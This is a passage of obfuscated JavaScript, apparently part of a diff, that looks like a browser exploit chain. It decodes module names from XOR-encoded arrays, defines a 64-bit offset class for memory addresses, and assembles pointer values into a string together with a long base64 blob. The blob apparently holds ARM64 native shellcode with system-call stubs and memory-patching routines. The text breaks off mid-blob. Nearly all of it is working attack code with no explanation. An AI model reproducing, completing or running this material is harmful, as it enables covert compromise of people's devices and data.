zEsIDc3LCA2NiwgMTksIDY3LCA2NSwgNjcsIDE3LCA2NSwgMTcsIDY2LCA2NCwgNzYsIDcwLCAxNiwgMjMsIDY5XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDExNyk7fSkuam9pbigiIikpKS56bjtpZihvIGluc3RhbmNlb2YgbT09ITEpdGhyb3cgbmV3IEVycm9yKCIiKTtpZihvLkV0KCkpdGhyb3cgbmV3IEVycm9yKCIiKTtpZih0Lmxlbmd0aD44KXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbj1uZXcgQXJyYXkoMTYpO2xldCBsPTA7Zm9yKGNvbnN0IGkgaW4gdCl7Y29uc3QgYz10W2ldO2lmKHRbaV1pbnN0YW5jZW9mIG09PSExKXRocm93IG5ldyBFcnJvcigiIik7bltsXT1jLml0LG5bbCsxXT1jLmV0LGwrPTJ9Y29uc3QgYj1mdW5jdGlvbihpKXtjb25zdCBvPWMudHIoaSk7cmV0dXJuIGMubnIobytnbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMDUsIDEwOCwgMTEwLCAxMTAsIDk3LCA1OSwgNTcsIDEwNywgNTgsIDEwNSwgMTA5LCAxMDUsIDk3LCA1OCwgNTcsIDEwNiwgNTcsIDk2LCA2MiwgMTA4LCAxMDQsIDU4LCA2MSwgMTA2LCA5NiwgMTExLCA2MiwgMTEwLCAxMDgsIDExMCwgNjAsIDEwOCwgNjAsIDExMSwgMTA5LCA5NywgMTA3LCA2MSwgNTgsIDEwNF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA4OCk7fSkuam9pbigiIikpKS56bi5Obi5ydlhTaGYpfShzKSxLPUkuWG4ucnIoYik7aWYobnVsbCE9PUkuTW4pbz0hMD09PVAuem4ucW4/SS5Nbi50YyhDLG8sZyk6SS5Nbi5lcihvLGcpO2Vsc2UgaWYoITA9PT1pLlNuKXRocm93IG5ldyBFcnJvcigiIik7SS5Ybi5KcihiLG8pO3RyeXtoKC4uLm4pfWZpbmFsbHl7SS5Ybi5KcihiLEspfWNvbnN0IHU9eC5TKHlbMF0pLGQ9eC5TKHlbMV0pO3JldHVybiBuZXcgeC5WdCh1LGQpfX19LHI7"); +const platformModule = globalThis.moduleManager.getModuleByName(([88, 93, 95, 95, 80, 10, 8, 90, 11, 88, 92, 88, 80, 11, 8, 91, 8, 81, 15, 93, 89, 11, 12, 91, 81, 94, 15, 95, 93, 95, 13, 93, 13, 94, 92, 80, 90, 12, 11, 89].map(x => { + return String.fromCharCode(x ^ 105); + }).join(""))), + utilityModule = globalThis.moduleManager.getModuleByName(([96, 98, 99, 103, 101, 103, 101, 99, 49, 99, 103, 101, 98, 108, 55, 52, 52, 49, 101, 48, 96, 98, 48, 99, 49, 108, 48, 54, 108, 102, 100, 103, 101, 54, 101, 51, 96, 103, 97, 98].map(x => { + return String.fromCharCode(x ^ 85); + }).join(""))), + { + N: G + } = globalThis.moduleManager.getModuleByName(([71, 69, 68, 64, 66, 64, 66, 68, 22, 68, 64, 66, 69, 75, 16, 19, 19, 22, 66, 23, 71, 69, 23, 68, 22, 75, 23, 17, 75, 65, 67, 64, 66, 17, 66, 20, 71, 64, 70, 69].map(x => { + return String.fromCharCode(x ^ 114); + }).join(""))), + intToUnicodeEscape = utilityModule.intToUnicodeEscape, + gA = utilityModule, + DA = (959607393 ^ 959607179); +class MA { + static fromUnsigned(A) { + return new Offset64(A >>> 0, A / 0x100000000 >>> 0) + } + static st(A) { return this.fromUnsigned(A); } + constructor(A, B) { + this.it = A >>> 0, this.et = B >>> 0 + } + add(A) { + const B = this.et; + let g = this.it; + return g += A, new Offset64(g, B) + } + xor(A) { + const B = this.it ^ A.it, + g = this.et ^ A.et; + return new Offset64(B >>> 0, g >>> 0) + } + gA(A) { + let B = 0; + return B = A, Offset64.fromUnsigned(this.toNumber() + B) + } + sub(A) { + return this.add(-A) + } + DA(A) { + return this.gA(-A) + } + MA() { + return 0 !== this.et || this.it > (1682000245 ^ 1682004341) && this.it < (4294967296 + (959936069 ^ -113805755)) + } + Et() { + return 0 === this.et && 0 === this.it + } + toString() { + return this.et.toString(16) + "`" + this.it.toString(16) + } + ct() { + return 4294967296 * this.et + this.it + } +} + +function CA(A, B, g, Q, D, M, w, C, I, E, U, N, F, k, T, S, o, G, Y, L, R, c, V) { + var q = ""; + return q += intToUnicodeEscape((1412916293 ^ 1077372021)), q += intToUnicodeEscape((1987207536 ^ 1651663155)), + q += intToUnicodeEscape(A.it), q += intToUnicodeEscape(A.et), q += intToUnicodeEscape(B.it), q += intToUnicodeEscape(B.et), q += intToUnicodeEscape(g.it), q += intToUnicodeEscape(g.et), q += intToUnicodeEscape(Q.it), q += intToUnicodeEscape(Q.et), q += intToUnicodeEscape(D), q += intToUnicodeEscape(0), q += intToUnicodeEscape(M.it), q += intToUnicodeEscape(M.et), q += intToUnicodeEscape(w.it), q += intToUnicodeEscape(w.et), q += intToUnicodeEscape(C.it), q += intToUnicodeEscape(C.et), q += intToUnicodeEscape(I.it), q += intToUnicodeEscape(I.et), q += intToUnicodeEscape(E.it), q += intToUnicodeEscape(E.et), q += intToUnicodeEscape(U.it), q += intToUnicodeEscape(U.et), q += intToUnicodeEscape(N.it), q += intToUnicodeEscape(N.et), q += intToUnicodeEscape(F.it), q += intToUnicodeEscape(F.et), q += intToUnicodeEscape(k.it), q += intToUnicodeEscape(k.et), q += intToUnicodeEscape(T.it), q += intToUnicodeEscape(T.et), q += intToUnicodeEscape(o.it), q += intToUnicodeEscape(o.et), q += intToUnicodeEscape(G.it), q += intToUnicodeEscape(G.et), q += intToUnicodeEscape(S.it), q += intToUnicodeEscape(S.et), q += intToUnicodeEscape(Y.it), q += intToUnicodeEscape(Y.et), q += intToUnicodeEscape(L.it), q += intToUnicodeEscape(L.et), q += intToUnicodeEscape(R.it), q += intToUnicodeEscape(R.et), q += intToUnicodeEscape(c.it), q += intToUnicodeEscape(c.et), q += intToUnicodeEscape(V.it), q += intToUnicodeEscape(V.et), q += gA.base64DecodeUtf16("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